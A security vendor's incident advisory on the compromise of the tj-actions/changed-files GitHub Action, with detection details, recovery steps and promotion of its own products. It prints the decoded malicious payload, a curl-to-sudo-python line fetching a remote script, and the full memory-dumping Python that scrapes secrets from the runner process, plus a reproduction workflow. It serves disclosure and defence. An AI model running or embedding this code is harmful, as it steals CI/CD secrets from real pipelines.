https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised Skip to main content * Platform * Solutions + Github Actions + Gitlab CI + Jenkins + Bitbucket + Azure DevOps * Customers * Pricing * Resources + Blog + Harden Runner + + GitHub Actions Advisor + StepSecurity Maintained Actions + Docs * Start Free * Login * Platform * Solutions + Github Actions + Gitlab CI/CI + Jenkins CI/CD + Bitbucket + Azure DevOps * Customers * Pricing * Resources + Blog + Harden Runner + GitHub Actions Advisor + StepSecurity Maintained Actions + Docs * Start Free * Login Back to Blog News Harden-Runner detection: tj-actions/changed-files action is compromised We are investigating a critical security incident involving the popular tj-actions/changed-files GitHub Action. We want to alert you immediately so that you can take prompt action. This post will be updated as new information becomes available. Varun Sharma March 14, 2025 [67d49bef6f] Table of Contents Loading nav... * * Introduction We are actively investigating a critical security incident involving the tj-actions/changed-files GitHub Action. While our investigation is ongoing, we want to alert users so they can take immediate corrective actions. We will keep this post updated as we learn more. StepSecurity Harden-Runner detected this issue through anomaly detection when an unexpected endpoint appeared in the network traffic. Based on our analysis, the incident started around 9:00 AM March 14th, 2025 Pacific Time (PT) / 4:00 PM March 14th, 2025 UTC. StepSecurity has released a free secure drop-in replacement for this Action to help recover from the incident: step-security/changed-files . We highly recommend you replace all instances of tj-actions/ changed-files with the StepSecurity secure alternatives. Update 1: Most versions of tj-actions/changed-files are compromised. Update 2: We have detected multiple public repositories have leaked secrets in build logs. As these build logs are public, anyone can steal these secrets. If you maintain any public repositories that use this Action, please review the recovery steps immediately. Update 3: GitHub has removed the tj-actions/changed-files Action. GitHub Actions workflows can no longer use this Action. Summary of the incident The tj-actions/changed-files GitHub Action, which is currently used in over 23,000 repositories, has been compromised. In this attack, the attackers modified the action's code and retroactively updated multiple version tags to reference the malicious commit. The compromised Action prints CI/CD secrets in GitHub Actions build logs. If the workflow logs are publicly accessible (such as in public repositories), anyone could potentially read these logs and obtain exposed secrets. There is no evidence that the leaked secrets were exfiltrated to any remote network destination. Our Harden-Runner solution flagged this issue when an unexpected endpoint appeared in the workflow's network traffic. This anomaly was caught by Harden-Runner's behavior-monitoring capability. The compromised Action now executes a malicious Python script that dumps CI/CD secrets from the Runner Worker process. Most of the existing Action release tags have been updated to refer to the malicious commit mentioned below. Note: All these tags now point to the same malicious commit hash:0e58ed8671d6b60d0890c21b07f8835ace038e67, indicating the retroactive compromise of multiple versions." $ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2 v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... @salolivares has identified the malicious commit that introduces the exploit code in the Action. https://github.com/tj-actions/changed-files/commit/ 0e58ed8671d6b60d0890c21b07f8835ace038e67 [67d4b101b7] The base64 encoded string in the above screenshot contains the exploit code. Here is the base64 decoded version of the code. if [[ "$OSTYPE" == "linux-gnu" ]]; then B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB else exit 0 fi Here is the content of https://gist.githubusercontent.com/ nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py #!/usr/bin/env python3 ... def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue Even though GitHub shows renovate as the commit author, most likely the commit did not actually come up renovate bot. The commit is an un-verified commit, so likely the adversary provided renovate as the commit author to hide their tracks. [67d516607d] StepSecurity Harden-Runner StepSecurity Harden-Runner secures CI/CD workflows by controlling network access and monitoring activities on GitHub-hosted and self-hosted runners. The name "Harden-Runner" comes from its purpose: strengthening the security of the runners used in GitHub Actions workflows. The Harden-Runner community tier is free for open-source projects. In addition, it offers several enterprise features. Reproducing the Exploit When this Action is executed with Harden-Runner, you can see the malicious code in action. We reproduced the exploit in a test repository. When the compromised tj-actions/changed-files action runs, Harden-Runner's insights clearly show it downloading and executing a malicious Python script that attempts to dump sensitive data from the GitHub Actions runner's memory. You can see the behavior here: https://app.stepsecurity.io/github/step-security/github-actions-goat/ actions/runs/13866127357 To reproduce this, you can run the following workflow: name: "tj-action changed-files incident" on: pull_request: branches: - main permissions: pull-requests: read jobs: changed_files: runs-on: ubuntu-latest name: Test changed-files steps: - name: Harden Runner uses: step-security/harden-runner@v2 with: disable-sudo: true egress-policy: audit - uses: actions/checkout@v4 with: fetch-depth: 0 # Example 1 - name: Get changed files id: changed-files uses: tj-actions/changed-files@v35 - name: List all changed files run: | for file in ${{ steps.changed-files.outputs.all_changed_files }}; do echo "$file was changed" done When this workflow is executed, you can see the malicious behavior through Harden-Runner: https://app.stepsecurity.io/github/step-security/github-actions-goat/ actions/runs/13866127357 [67d4a97699] [67d4a9a39b] When this workflow runs, you can observe the malicious behavior in the Harden-Runner insights page. The compromised Action downloads and executes a malicious Python script, which attempts to dump sensitive data from the Actions Runner process memory. Recovery Steps If you are using any version of the tj-actions/changed-files Action, we strongly recommend you stop using it immediately until the incident is resolved. To support the community during this incident, we have released a free, secure, and drop-in replacement: step-security/changed-files. We recommend updating all instances of j-actions/changed-files in your workflows to this StepSecurity-maintained Action. Use the StepSecurity maintained changed-files Action To use the StepSecurity maintained Action, simply replace all instances of "tj-actions/changed-files@vx" with "step-security/ changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1" or "step-security/changed-files@v45". For enhanced security, you can pin to the specific commit SHA: ... jobs: changed_files: runs-on: ubuntu-latest ... - name: Get changed files id: changed-files uses: step-security/changed-files@v45 ... You can also reference the Action through its latest release tag: ... jobs: changed_files: runs-on: ubuntu-latest ... - name: Get changed files id: changed-files uses: step-security/changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1 ... For more details, please refer to README of the project. Review Actions Inventory You should perform a code search across your repositories to discover all instances of the tj-actions/changed-files Action. For example, the following GitHub search URL shows all instances of this Action in the Actions GitHub organization: https://github.com/search?q= org%3Aactions%20tj-actions%2Fchanged-files%20Action&type=code Please note that this GitHub search does not always return accurate results. If you have dedicated source code search solutions such as SourceGraph, they could be more effective with finding all instances of this Action in use. Review GitHub Actions workflow run logs You should review logs for the recent executions of the Action and see if it has leaked secrets. Below is an example of how leaked secrets appear in build logs. [67d4cca074] This step is especially important for public repositories since their logs are publicly accessible. Rotate leaked secrets If you discover any secrets in GitHub Actions workflow run logs, rotate them immediately. For StepSecurity Enterprise Customers The following steps are applicable only for StepSecurity enterprise customers. If you are not an existing enterprise customer, you can start our 14 day free trial by installing the StepSecurity GitHub App to complete the following recovery step. Review Actions Inventory You can use the Actions inventory feature to discover all GitHub Actions workflows that are using tj-actions/changed-files. [67d4b49268] [67d4bca843] Review Harden-Runner Findings You can see if your workflows have called "gist.githubusercontent.com" by visiting "All Destinations" in your StepSecurity dashboard. If this endpoint appears in the list, review the workflow runs that called this endpoint. [67d4c1ab43] StepSecurity Maintained changed-files Action We offer secure drop-in replacements for risky third-party Actions as part of our enterprise tier. We are currently in the process of onboarding this Action as a StepSecurity Maintained Action. Once onboarded, our enterprise customers can use the StepSecurity Maintained version of tj-actions/changed-files instead of the compromised versions. Next Steps We have reported this issue to GitHub and opened an issue in the affected repository: GitHub Issue #2463 The GitHub issue is no longer accessible as the repository has been deleted. An official CVE (CVE-2025-30066) has been published to track this incident. We will continue to monitor the situation and provide updates as more information becomes available. For real-time security monitoring and proactive anomaly detection in GitHub Actions workflows, consider using Harden-Runner to detect and mitigate such threats. Blog Explore Related Posts News [67d49bef6f] Harden-Runner detection: tj-actions/changed-files action is compromised We are investigating a critical security incident involving the popular tj-actions/changed-files GitHub Action. We want to alert you immediately so that you can take prompt action. This post will be updated as new information becomes available. Varun Sharma Varun Sharma March 14, 2025 Read News [67c0a15e33] Announcing StepSecurity's Integration with RunsOn: Secure and Optimized CI/CD Pipelines We're excited to announce our integration with RunsOn, the modern way to self-host GitHub Actions runners at scale on AWS, with incredible cost savings and advanced features. With this partnership, StepSecurity Harden-Runner now seamlessly integrates with RunsOn, providing enhanced security and visibility for CI/CD pipelines. Varun Sharma Varun Sharma February 27, 2025 Read Product [67be3880e1] Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices The updates include support for pinning GitHub's New Immutable Actions, exemptions for pinning specific GitHub Actions, and configuring preferences to use across multiple repositories. Ashish Kurmi Ashish Kurmi February 25, 2025 Read [673bfc0f9b] Request a Demo Start Free HomeAbout DocsPricing Contact UsBook a Demo (c) 2025 All rights reserved Privacy Policy Terms of Service